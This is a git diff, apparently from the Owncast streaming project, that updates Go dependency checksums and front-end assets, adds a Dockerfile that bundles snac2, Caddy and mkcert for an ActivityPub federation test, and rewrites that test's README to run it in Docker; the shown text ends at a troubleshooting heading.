github.com/mattn/go-sqlite3 v1.14.39 h1:sIwSjlJGOaRJjw44/HXaeTblZMjseqr6OOio1tz/+JI=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.39/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.40 h1:f7+saIsbq4EF86mUqe0uiecQOJYMOdfi5uATADmUG94=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.40/go.mod h1:pjEuOr8IwzLJP2MfGeTb0A35jauH+C2kbHKBr7yXKVQ=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.41 h1:8p7Pwz5NHkEbWSqc/ygU4CBGubhFFkpgP9KwcdkAHNA=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.41/go.mod h1:pjEuOr8IwzLJP2MfGeTb0A35jauH+C2kbHKBr7yXKVQ=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.42 h1:MigqEP4ZmHw3aIdIT7T+9TLa90Z6smwcthx+Azv4Cgo=
|
||||||
|
github.com/mattn/go-sqlite3 v1.14.42/go.mod h1:pjEuOr8IwzLJP2MfGeTb0A35jauH+C2kbHKBr7yXKVQ=
|
||||||
github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
|
github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
|
||||||
github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=
|
github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA=
|
||||||
github.com/mssola/user_agent v0.6.0 h1:uwPR4rtWlCHRFyyP9u2KOV0u8iQXmS7Z7feTrstQwk4=
|
github.com/mssola/user_agent v0.6.0 h1:uwPR4rtWlCHRFyyP9u2KOV0u8iQXmS7Z7feTrstQwk4=
|
||||||
@@ -106,6 +116,10 @@ github.com/nareix/joy5 v0.0.0-20210317075623-2c912ca30590 h1:PnxRU8L8Y2q82vFC2Qd
|
|||||||
github.com/nareix/joy5 v0.0.0-20210317075623-2c912ca30590/go.mod h1:XmAOs6UJXpNXRwKk+KY/nv5kL6xXYXyellk+A1pTlko=
|
github.com/nareix/joy5 v0.0.0-20210317075623-2c912ca30590/go.mod h1:XmAOs6UJXpNXRwKk+KY/nv5kL6xXYXyellk+A1pTlko=
|
||||||
github.com/oapi-codegen/runtime v1.3.0 h1:vyK1zc0gDWWXgk2xoQa4+X4RNNc5SL2RbTpJS/4vMYA=
|
github.com/oapi-codegen/runtime v1.3.0 h1:vyK1zc0gDWWXgk2xoQa4+X4RNNc5SL2RbTpJS/4vMYA=
|
||||||
github.com/oapi-codegen/runtime v1.3.0/go.mod h1:kOdeacKy7t40Rclb1je37ZLFboFxh+YLy0zaPCMibPY=
|
github.com/oapi-codegen/runtime v1.3.0/go.mod h1:kOdeacKy7t40Rclb1je37ZLFboFxh+YLy0zaPCMibPY=
|
||||||
|
github.com/oapi-codegen/runtime v1.3.1 h1:RgDY6J4OGQLbRXhG/Xpt3vSVqYpHQS7hN4m85+5xB9g=
|
||||||
|
github.com/oapi-codegen/runtime v1.3.1/go.mod h1:kOdeacKy7t40Rclb1je37ZLFboFxh+YLy0zaPCMibPY=
|
||||||
|
github.com/oapi-codegen/runtime v1.4.0 h1:KLOSFOp7UzkbS7Cs1ms6NBEKYr0WmH2wZG0KKbd2er4=
|
||||||
|
github.com/oapi-codegen/runtime v1.4.0/go.mod h1:5sw5fxCDmnOzKNYmkVNF8d34kyUeejJEY8HNT2WaPec=
|
||||||
github.com/oschwald/geoip2-golang v1.13.0 h1:Q44/Ldc703pasJeP5V9+aFSZFmBN7DKHbNsSFzQATJI=
|
github.com/oschwald/geoip2-golang v1.13.0 h1:Q44/Ldc703pasJeP5V9+aFSZFmBN7DKHbNsSFzQATJI=
|
||||||
github.com/oschwald/geoip2-golang v1.13.0/go.mod h1:P9zG+54KPEFOliZ29i7SeYZ/GM6tfEL+rgSn03hYuUo=
|
github.com/oschwald/geoip2-golang v1.13.0/go.mod h1:P9zG+54KPEFOliZ29i7SeYZ/GM6tfEL+rgSn03hYuUo=
|
||||||
github.com/oschwald/maxminddb-golang v1.13.0 h1:R8xBorY71s84yO06NgTmQvqvTvlS/bnYZrrWX1MElnU=
|
github.com/oschwald/maxminddb-golang v1.13.0 h1:R8xBorY71s84yO06NgTmQvqvTvlS/bnYZrrWX1MElnU=
|
||||||
@@ -181,6 +195,8 @@ golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v
|
|||||||
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
|
||||||
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
||||||
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
||||||
|
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
|
||||||
|
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
|
||||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||||
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||||
@@ -188,6 +204,8 @@ golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
|||||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||||
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
|
golang.org/x/mod v0.33.0 h1:tHFzIWbBifEmbwtGz65eaWyGiGZatSrT9prnU8DbVL8=
|
||||||
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
|
golang.org/x/mod v0.33.0/go.mod h1:swjeQEj+6r7fODbD2cqrnje9PnziFuw4bmLbBZFrQ5w=
|
||||||
|
golang.org/x/mod v0.34.0 h1:xIHgNUUnW6sYkcM5Jleh05DvLOtwc6RitGHbDk4akRI=
|
||||||
|
golang.org/x/mod v0.34.0/go.mod h1:ykgH52iCZe79kzLLMhyCUzhMci+nQj+0XkbXpNYtVjY=
|
||||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||||
golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
|
golang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
|
||||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||||
@@ -201,6 +219,8 @@ golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
|
|||||||
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
|
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
|
||||||
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
|
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
|
||||||
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
|
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
|
||||||
|
golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0=
|
||||||
|
golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw=
|
||||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
@@ -227,6 +247,8 @@ golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
|||||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
|
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
|
||||||
|
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||||
@@ -249,6 +271,8 @@ golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
|||||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||||
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
|
golang.org/x/text v0.35.0 h1:JOVx6vVDFokkpaq1AEptVzLTpDe9KGpj5tR4/X+ybL8=
|
||||||
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
|
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
|
||||||
|
golang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg=
|
||||||
|
golang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164=
|
||||||
golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U=
|
golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U=
|
||||||
golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno=
|
golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno=
|
||||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
|
|||||||
Vendored
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+2
-2
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
|||||||
|
.VideoJS_player__GD36e{width:100%;position:relative;overflow:hidden}@media(hover:hover)and (pointer:fine){.VideoJS_player__GD36e .vjs-control-bar .vjs-control:hover .vjs-control-text{display:block!important;visibility:visible!important;width:auto!important;height:auto!important;clip:auto!important;margin:0!important;position:absolute;bottom:45px;left:50%;transform:translateX(-50%);white-space:nowrap;z-index:1000;padding:5px 10px;background:hsla(0,0%,8%,.9);color:#fff;border-radius:4px;font-size:12px;line-height:1.2;pointer-events:none}.VideoJS_player__GD36e .vjs-control-bar .vjs-control:hover .vjs-control-text:empty,.VideoJS_player__GD36e .vjs-volume-panel:hover .vjs-mute-control:not(:hover) .vjs-control-text{display:none!important}.VideoJS_player__GD36e .vjs-control:first-child:hover .vjs-control-text{left:0;transform:translateX(6px)}.VideoJS_player__GD36e .vjs-control:first-child:hover .vjs-control-text:after{left:15%}.VideoJS_player__GD36e .vjs-control:last-child:hover .vjs-control-text{left:auto;right:0;transform:translateX(-6px)}.VideoJS_player__GD36e .vjs-control:last-child:hover .vjs-control-text:after{left:auto;right:15%;transform:translateX(50%)}}.VideoPoster_poster__6rnLj{display:flex;justify-content:center;width:100%;height:100%}.VideoPoster_image__8kRcw{background-color:#000}.OwncastPlayer_container__CR5Ry{display:grid;width:100%;justify-items:center;height:var(--player-container-height);aspect-ratio:16/9}@media(width <= 1200px){.OwncastPlayer_container__CR5Ry{height:100%;max-height:var(--player-container-height)}}@media only screen and (width <= 768px){.OwncastPlayer_container__CR5Ry{height:var(--player-container-height);max-height:var(--player-container-height)}}.OwncastPlayer_container__CR5Ry .OwncastPlayer_player__dCDjy,.OwncastPlayer_container__CR5Ry .OwncastPlayer_poster__tbpwE{width:100%;grid-column:1;grid-row:1}
|
||||||
@@ -1 +0,0 @@
|
|||||||
.VideoJS_player__GD36e{width:100%}.VideoPoster_poster__6rnLj{display:flex;justify-content:center;width:100%;height:100%}.VideoPoster_image__8kRcw{background-color:#000}.OwncastPlayer_container__CR5Ry{display:grid;width:100%;justify-items:center;height:var(--player-container-height);aspect-ratio:16/9}@media(width <= 1200px){.OwncastPlayer_container__CR5Ry{height:100%;max-height:var(--player-container-height)}}@media only screen and (width <= 768px){.OwncastPlayer_container__CR5Ry{height:var(--player-container-height);max-height:var(--player-container-height)}}.OwncastPlayer_container__CR5Ry .OwncastPlayer_player__dCDjy,.OwncastPlayer_container__CR5Ry .OwncastPlayer_poster__tbpwE{width:100%;grid-column:1;grid-row:1}
|
|
||||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
+1
-1
File diff suppressed because one or more lines are too long
Vendored
+1
-1
File diff suppressed because one or more lines are too long
+3
-3
File diff suppressed because one or more lines are too long
+3
-3
File diff suppressed because one or more lines are too long
Vendored
+2
-2
File diff suppressed because one or more lines are too long
Vendored
+2
-2
File diff suppressed because one or more lines are too long
Vendored
+1
-1
@@ -7,7 +7,7 @@
|
|||||||
* - Please do NOT modify this file.
|
* - Please do NOT modify this file.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
const PACKAGE_VERSION = '2.12.14'
|
const PACKAGE_VERSION = '2.13.2'
|
||||||
const INTEGRITY_CHECKSUM = '4db4a41e972cec1b64cc569c66952d82'
|
const INTEGRITY_CHECKSUM = '4db4a41e972cec1b64cc569c66952d82'
|
||||||
const IS_MOCKED_RESPONSE = Symbol('isMockedResponse')
|
const IS_MOCKED_RESPONSE = Symbol('isMockedResponse')
|
||||||
const activeClientIds = new Set()
|
const activeClientIds = new Set()
|
||||||
|
|||||||
Vendored
+1
-1
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
|
|||||||
|
certs/
|
||||||
|
README.md
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
FROM golang:1.25-bookworm
|
||||||
|
|
||||||
|
RUN apt-get update && apt-get install -y \
|
||||||
|
gcc make \
|
||||||
|
curl libcurl4-openssl-dev libssl-dev \
|
||||||
|
jq sqlite3 ffmpeg \
|
||||||
|
libnss3-tools \
|
||||||
|
lsof procps \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Install mkcert (architecture-aware)
|
||||||
|
RUN ARCH="$(dpkg --print-architecture)" && \
|
||||||
|
curl -sL "https://github.com/FiloSottile/mkcert/releases/download/v1.4.4/mkcert-v1.4.4-linux-${ARCH}" -o /usr/local/bin/mkcert && \
|
||||||
|
chmod +x /usr/local/bin/mkcert
|
||||||
|
|
||||||
|
# Install Caddy (architecture-aware)
|
||||||
|
RUN ARCH="$(dpkg --print-architecture)" && \
|
||||||
|
curl -sL "https://github.com/caddyserver/caddy/releases/download/v2.8.4/caddy_2.8.4_linux_${ARCH}.tar.gz" | tar -xz -C /usr/local/bin caddy
|
||||||
|
|
||||||
|
# Build and install snac2
|
||||||
|
RUN git clone --depth 1 https://codeberg.org/grunfink/snac2.git /tmp/snac2-src \
|
||||||
|
&& cd /tmp/snac2-src && make && cp snac /usr/local/bin/snac \
|
||||||
|
&& rm -rf /tmp/snac2-src
|
||||||
|
|
||||||
|
# Install mkcert CA into system trust store so snac2 trusts the test certs
|
||||||
|
RUN mkcert -install
|
||||||
|
|
||||||
|
# Allow git operations on the mounted repo
|
||||||
|
RUN git config --global --add safe.directory /owncast
|
||||||
|
|
||||||
|
WORKDIR /owncast
|
||||||
|
|
||||||
|
COPY entrypoint.sh /entrypoint.sh
|
||||||
|
RUN chmod +x /entrypoint.sh
|
||||||
|
|
||||||
|
ENTRYPOINT ["/entrypoint.sh"]
|
||||||
@@ -2,83 +2,29 @@
|
|||||||
|
|
||||||
This test verifies Owncast's ActivityPub federation by having snac2 users follow the Owncast instance and confirming message delivery.
|
This test verifies Owncast's ActivityPub federation by having snac2 users follow the Owncast instance and confirming message delivery.
|
||||||
|
|
||||||
## One-Time Setup
|
All test infrastructure (snac2, Caddy, mkcert, Go) runs inside a Docker container so you don't need to install anything on the host besides Docker.
|
||||||
|
|
||||||
### 1. Install mkcert
|
## Prerequisites
|
||||||
|
|
||||||
|
- Docker installed and running
|
||||||
|
|
||||||
|
## Running the Tests
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Ubuntu/Debian
|
# Run the federation test with default 100 users
|
||||||
sudo apt install mkcert
|
|
||||||
|
|
||||||
# Or download directly
|
|
||||||
curl -sLO https://github.com/FiloSottile/mkcert/releases/download/v1.4.4/mkcert-v1.4.4-linux-amd64
|
|
||||||
chmod +x mkcert-v1.4.4-linux-amd64
|
|
||||||
sudo mv mkcert-v1.4.4-linux-amd64 /usr/local/bin/mkcert
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Install the local CA
|
|
||||||
|
|
||||||
This installs a Certificate Authority into your system's trust store. All certificates generated by mkcert will be trusted.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
mkcert -install
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. Generate certificates for the test domains
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd test/automated/activitypub
|
|
||||||
mkdir -p certs
|
|
||||||
mkcert -cert-file certs/cert.pem -key-file certs/key.pem owncast.local snac.local localhost 127.0.0.1
|
|
||||||
```
|
|
||||||
|
|
||||||
### 4. Add hosts entries
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo sh -c 'echo "127.0.0.1 owncast.local snac.local" >> /etc/hosts'
|
|
||||||
```
|
|
||||||
|
|
||||||
### 5. Install snac2
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Ubuntu/Debian
|
|
||||||
sudo apt install snac2
|
|
||||||
|
|
||||||
# Or build from source
|
|
||||||
git clone https://codeberg.org/grunfink/snac2.git
|
|
||||||
cd snac2
|
|
||||||
make
|
|
||||||
sudo make install
|
|
||||||
```
|
|
||||||
|
|
||||||
### 6. Install Caddy
|
|
||||||
|
|
||||||
Caddy is used as the HTTPS reverse proxy for TLS termination. It will be installed automatically by `setup.sh`, or you can install it manually:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Download binary directly
|
|
||||||
curl -sL "https://github.com/caddyserver/caddy/releases/download/v2.8.4/caddy_2.8.4_linux_amd64.tar.gz" | sudo tar -xz -C /usr/local/bin caddy
|
|
||||||
|
|
||||||
# Or see: https://caddyserver.com/docs/install
|
|
||||||
```
|
|
||||||
|
|
||||||
## Running the Test
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Run with default 100 users
|
|
||||||
./run.sh
|
./run.sh
|
||||||
|
|
||||||
# Run with fewer users for quick testing
|
# Run with fewer users for quick testing
|
||||||
USER_COUNT=10 ./run.sh
|
USER_COUNT=10 ./run.sh
|
||||||
|
|
||||||
|
# Run the follower validation test
|
||||||
|
./run.sh test-follower-validation.sh
|
||||||
|
|
||||||
# Keep servers running after test for debugging
|
# Keep servers running after test for debugging
|
||||||
KEEP_RUNNING=true ./run.sh
|
KEEP_RUNNING=true ./run.sh
|
||||||
|
|
||||||
# Adjust follow request throttling (default 0.1s)
|
# Adjust follow request throttling (default 0.1s)
|
||||||
FOLLOW_DELAY=0.2 ./run.sh
|
FOLLOW_DELAY=0.2 ./run.sh
|
||||||
|
|
||||||
# Run in CI mode (skip interactive prompts)
|
|
||||||
CI=true ./run.sh
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Configuration Options
|
## Configuration Options
|
||||||
@@ -88,7 +34,7 @@ CI=true ./run.sh
|
|||||||
| `USER_COUNT` | 100 | Number of test users to create |
|
| `USER_COUNT` | 100 | Number of test users to create |
|
||||||
| `FOLLOW_DELAY` | 0.1 | Delay in seconds between follow requests |
|
| `FOLLOW_DELAY` | 0.1 | Delay in seconds between follow requests |
|
||||||
| `KEEP_RUNNING` | false | Keep servers running after test for debugging |
|
| `KEEP_RUNNING` | false | Keep servers running after test for debugging |
|
||||||
| `CI` | false | Skip interactive prompts for CI environments |
|
| `CI` | false | Always true inside the container |
|
||||||
| `PROXY_PORT` | 8443 | HTTPS proxy port |
|
| `PROXY_PORT` | 8443 | HTTPS proxy port |
|
||||||
| `SNAC_PORT` | 9080 | snac2 HTTP port |
|
| `SNAC_PORT` | 9080 | snac2 HTTP port |
|
||||||
| `OWNCAST_PORT` | 8080 | Owncast HTTP port |
|
| `OWNCAST_PORT` | 8080 | Owncast HTTP port |
|
||||||
@@ -111,23 +57,37 @@ The test reports:
|
|||||||
- **Follow Success Rate**: Percentage of follow requests that succeeded
|
- **Follow Success Rate**: Percentage of follow requests that succeeded
|
||||||
- **Delivery Rate**: Percentage of registered followers who received the message
|
- **Delivery Rate**: Percentage of registered followers who received the message
|
||||||
|
|
||||||
|
## Docker Image Details
|
||||||
|
|
||||||
|
The Docker image (`owncast-ap-test`) bundles all dependencies:
|
||||||
|
- Go (for building Owncast)
|
||||||
|
- snac2 (built from source)
|
||||||
|
- Caddy (HTTPS reverse proxy)
|
||||||
|
- mkcert (TLS certificates trusted by the container)
|
||||||
|
- sqlite3, jq, curl
|
||||||
|
|
||||||
|
Go module and build caches are stored in named Docker volumes (`owncast-ap-test-gomod`, `owncast-ap-test-gobuild`) so repeated runs are faster.
|
||||||
|
|
||||||
## Troubleshooting
|
## Troubleshooting
|
||||||
|
|
||||||
### Certificate errors from snac2
|
### Docker build fails
|
||||||
|
|
||||||
